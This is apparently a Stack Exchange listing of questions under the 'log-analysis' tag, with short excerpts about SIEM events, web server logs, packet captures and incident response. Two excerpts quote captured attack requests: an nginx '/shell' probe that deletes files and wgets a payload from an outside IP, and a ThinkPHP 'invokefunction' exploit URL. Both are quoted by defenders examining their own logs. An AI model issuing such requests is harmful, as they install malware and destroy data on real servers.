Questions tagged [log-analysis]
The log-analysis tag has no usage guidance.
77
questions
1
vote
1
answer
442
views
Is it possible to attack using a CDN as a cover?
I had a security engineer analyze a packet capture from my machine.
About five IPs were used in an attack. It was the only IP (6) that was detected multiple times by VirusTotal.
The IP is 209.197.3.8. ...
0
votes
1
answer
259
views
Does wireshark detect all unauthorized access?
A security engineer told me that my computer must have a trojan horse, but it has not been found yet.
The security engineer captured and analyzed traffic pcap files with Wireshark, and said that there ...
0
votes
0
answers
1k
views
Windows Event ID 4624 with Anonymous Logon. Is it safe?
In our SIEM, I saw the following event below.
From the image above here is what I'm observing:
Successful login noted via eventid 4624
Username used to login was Anonymous logon as indicated by SID ...
- 133
1
vote
0
answers
93
views
Is someone accessing my win10 computer?
I have been wondering if someone is accessing my system and after doing using some basic assessment tools like netstat and event viewer, found some unusual open ports(12345) and special Logon! below ...
- 11
13
votes
3
answers
6k
views
Understanding suspicious HTTP GET Request
I was looking through my Apache log files and besides other GET requests with response status codes of 4XX (error), I've found this one which has a 200 (success) response status code:
"GET /?...
- 163
14
votes
1
answer
3k
views
How can I practice log file analysis?
There are a lot of excellent resources to sharpen your pentesting skills (like Hackthebox, Vulnhub, Juiceshop, Burp Suite Academy and so on), but I couldn't find something similar for forensics, ...
0
votes
1
answer
191
views
Suspicious visits to one URL from same user-agent but from unique IPs
For the past few weeks, I am observing a lots of visits from a specific user-agent - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 ...
- 107
1
vote
2
answers
107
views
How to source training data in ML for information security? [closed]
A company entrusts a Data Scientist with the mission of processing and valuing data for the research or treatment of events related to traces of computer attacks. I was wondering how would he get the ...
1
vote
0
answers
178
views
Identify user with a VPN connection within the network [closed]
I know of a user within my network who initiated a VPN connection within my network. What are ways I'll be able to find out the identity of user, searching port numbers? specific protocol established?
...
- 11
1
vote
0
answers
109
views
Which tools ISPs use for browsing logs? [closed]
It is known that ISP has to log various network data for various purposes, such as law enforcement needs.
However, what are some examples of software tools used by ISPs to browse this huge amount of ...
- 131
4
votes
1
answer
596
views
Why request shell commands from nginx?
I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs:
170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
- 249
1
vote
1
answer
551
views
Why is my web site being scanned for license.txt, and should I be worried?
Lately I am seeing multiple daily 404s for variations of "license.txt", e.g., "wordpress/license.txt", "blog/license.txt", "old/license.txt", "new/license.txt". Here's a little snippet of slightly ...
- 113
2
votes
1
answer
371
views
What forensics should be collected as part of an incident response plan on Windows 10?
I am in the process of creating an IRP that responds to system hacks.
I have attacked the Windows 10 myself (victim machine), using Metasploit on Kali Linux software, where I managed to gain access ...
- 73
1
vote
0
answers
187
views
Help in understnading HIDS OSSEC traces
I realized my system Ubuntu and windows dual boot might have been compromised. So, I installed OSSEC HIDS to try to look for issues.
When I ran dmesg, i found the following trace:
------------[ cut ...
- 111
3
votes
1
answer
272
views
Alternative routes for Incident Response approach other than Windows Event Viewer?
I am in preparation of developing an Incident Response Plan for a computer that has been hacked (no malware installed, just a system hack). My plan is to analyse through Windows Event Viewer to try ...
- 73
1
vote
1
answer
209
views
How secure are Windows Event Logs?
Just doing some reading surrounding analysing intrusions, I’ve read that Windows Event Logs can be modified by an attacker to cover their tracks, how accurate is this and what are the alternative for ...
- 73
1
vote
1
answer
1k
views
Where can I download sample security log file archives?
I am volunteering to teach some folks to learn Splunk to analyze logs by using SIEM. Therefore I will need some public log file archives such as auditd, secure.log, firewall, webapp logs, which I can ...
- 93
2
votes
2
answers
2k
views
Tracking Down Failed Logins
I've recently implemented a SIEM solution, and am now able to see a large amount of failed login attempts from legitimate users. In fact, it's such high volume that my SIEM is correlating them to be ...
- 21
1
vote
2
answers
324
views
What causes Windows security logs saying an attempt was made to reset an account's password?
This falls under the category of eliminating what might be normal activity from my attention.
I'm looking at Windows 7 security event logs. I don't have context to know if the following event is a ...
- 6,874
0
votes
2
answers
386
views
Some bots are trying to locate files on server, how to protect?
In my apache error log I am getting these errors (there are 100s of these lines), most of these IPs are from China.
I guess some bots are trying to find vulnerable files. Is there any way to protect ...
- 11
1
vote
0
answers
197
views
Application Security - Security Testing Log files?
As per latest OWASP Guidelines (2019) - a security assessor has to test against application platform configuration dubbed as OTG-CONFIG-002 in OWASP Testing Guide v4.
Since OWASP is a Security ...
- 1,600
1
vote
1
answer
263
views
Is a good idea to have security logs stored in the cloud?
I was discussing with my friend the topic of the importance of log analytics/correlation and real-time response for an organization. Then, he mentioned that some people consider sending logs (...
- 180
2
votes
1
answer
344
views
OWASP: Insufficient Logging & Monitoring - open source tools
Being new to the security and logging and after reading a lot about the terms used, I am pretty sure I neither need an IDS/IPS nor a WAF.
I am mostly interested in automating the "monitoring" of my ...
- 121
-1
votes
1
answer
154
views
How to determine where an attack came from? [duplicate]
I've noticed sometimes that I'd receive very random requests coming to a live server that I'd be hosting in realtime through my log. It would usually look something like:
[14/Mar/2019 02:05:36] "GET /...
36
votes
2
answers
9k
views
How to prevent users from executing commands through browser URL?
I have very little experience with security (still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\\think\\app/invokefunction&function=...
- 423
0
votes
1
answer
131
views
Monitoring of Logging
I wish to implement logging and auditing features on a Windows 10 client used for carrying out secure transactions through our FTP server, with a client organisation.
What all features could I ...
- 347
1
vote
2
answers
2k
views
What are the common features to identify Brute-Force attack from Apache log file?
There are various methods to find attack patterns for different types of attacks. Apache-scalp is one such tool, but the rule set is not available to find the brute-force attack pattern via regular ...
- 11
2
votes
1
answer
386
views
Security Log Analyze [closed]
is there any tools that I give it web server log (like Apache web server) and analyze it if there was any attack or not?
I don't want to use SIEM.
- 21
-2
votes
1
answer
1k
views
Is Private Internet Access (PIA) VPN safe to use? [closed]
As said in the PIA website they pretend to have the following VPN features:
PPTP, OpenVPN and L2TP/IPSec
SOCKS5 Proxy Included
No traffic logs
So my question are: Is Private Internet Access VPN ...
- 99
1
vote
1
answer
425
views
Heuristics to Identify CSRF from Web Access Log File
I am new here in security.
I want to identify suspicious users on web application by analyzing web access log file. For this, I am considering CSRF attack.
For this purpose, I am generating some ...
- 151
3
votes
2
answers
614
views
What are the common features to identify CSRF attack from Apache log file?
I have tried CSRF attack on web vulnerability application known as DVWA at my localhost and on kali linux OS. I have changed password on this application by using CSRF. It has collected following log ...
- 151
1
vote
2
answers
714
views
Are log files executable files?
As a beginner in security research project, I came across log injection and my question is itself about log injection files.
Are log injection files executable, if no, how do they execute/run ...
2
votes
2
answers
209
views
Does an admin need legitimaly to access his own logs generated by auditd?
In my understanding, admins need to access logs of the servers, workstations, services and applications they manage, either for administration or debugging purposes, never to logs generated by auditd ...
- 597
3
votes
1
answer
1k
views
MacBookPro's OSX install.log has entries that predate the initial unboxing
Basically what the title says. I recently had a look at my /var/log/install.log and the earliest entries are from about 2 full months prior to me unboxing the computer.
The packaging had cellophane, ...
- 151
0
votes
0
answers
951
views
Multiple sshd sessions for single SSH login
I was grepping through /var/log/auth.log and noticed that for some reason, not every time, but sometimes when I would log in via SSH I would see entries like the following - where there were multiple ...
- 135
0
votes
1
answer
116
views
I need help finding a list or a reference of DLL's for discovering hijacked programs
I am removing malware from my grandpa's Windows computer using the system internals suite. I suspect he has a Trojan which has been making remote connections and downloading a TON of viruses every day....
2
votes
1
answer
480
views
Windows: What are the security implication of adding Network Service account to “Event Log Readers” group?
I want to read security audit logs from a network service. By default, Network Service does not have permission to read but it can if the account is added to "Event Log Readers". One of the examples ...
- 21
3
votes
4
answers
906
views
SOC and generic log parsing
I am making a conceptual work-flow of a SOC so if we suppose that a SIEM solution is integrated inside an organization's in-house SOC. Also, if the team of the SOC is the one managing the SIEM ...
- 33
-2
votes
2
answers
1k
views
How to get a thorough view of wireless router's logs?
I am trying to attack my wireless router using Kali Linux for learning purposes. When I check the wireless router's logs after a successful attack, it doesn't show me the logs related to attacks which ...
- 11
6
votes
1
answer
269
views
Looking for resources for interpreting my security logs
I am currently setting up an Apache web server on a Linux machine at my house. I am working on a website project which will allow users to log in to complete certain work. There is no open ...
- 83
0
votes
1
answer
172
views
Difference between legitimate file transfer vs data exfiltration of confidential files using FTP
I have FTP logs and some other logs assuming that corporate environment is actively monitored. How would I know that user is using ftp to transfer regular file and not using the same to transfer ...
1
vote
0
answers
317
views
Dovecot in auth.log suspicious entry analysis [duplicate]
I am wondering is this entry in auth.log something that I should be concerned about
Feb 22 12:18:25 host1 auth: pam_unix(dovecot:auth): check pass; user unknown
Feb 22 12:18:25 host1 auth: pam_unix(...
- 272
0
votes
1
answer
126
views
Historical IP reputation data
I have a firewall log with events from 2 years ago. I want to examine that log as if I was investigating at the time of collection (2 years ago).
However, I would like to use IP address reputation ...
- 101
2
votes
2
answers
119
views
What is the best way to analyze results of a technical security assessment? [closed]
I want to conduct a technical security assessment on my company's client computers with focus on Windows 10.
So far, my idea is to execute several Powershell scripts on the clients and gather the ...
- 21
-1
votes
1
answer
125
views
Access log of someone using different IPs to send the same type of traffic
I have a magento shop system and I read this in my logs:
206.75.231.xxx - - [14/Dec/2017:19:59:11 +0100] "POST /downloader/ HTTP/1.1" 403 220 "-" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 ...
- 1
2
votes
1
answer
2k
views
Suspcious timing of [LAN access from remote] in router log
I read that [LAN access from remote] to UPnP ports can be an attacker looking for vulnerabilities, and is usually nothing to worry about. However I'm concerned seeing this activity in a log so close ...
- 125
1
vote
0
answers
329
views
Identifying privilege escalation in OSSEC logs [closed]
I am working on an intrusion detection system which can prioritize and attribute the logs generated by OSSEC. So, how can I understand a privilege escalation case (or just the privileges a user has at ...
- 111
0
votes
1
answer
14k
views
Is this event a security concern: Windows 10: Event 360, User Device Registration?
My computer just froze, and I ended up having to reboot. It appears Windows Defender was coming up with a notification, but that froze as well. I was trying to see what went wrong in the event ...
- 3,157
3
votes
2
answers
143
views
Flash Drive: Is it possible to figure out what/when files were added?
Recently left my flash drive on the university computers and someone found it. He said he looked through the flash drive to find my resume and contact me. I want to leave this situation in good faith, ...
- 33
1
vote
3
answers
2k
views
Are these log entries normal?
I have noticed high CPU usage, and noticed that user dinko had high CPU usage with the sshd process when I typed top.
User dinko was just some random user that I created and had a Ruby application ...
- 272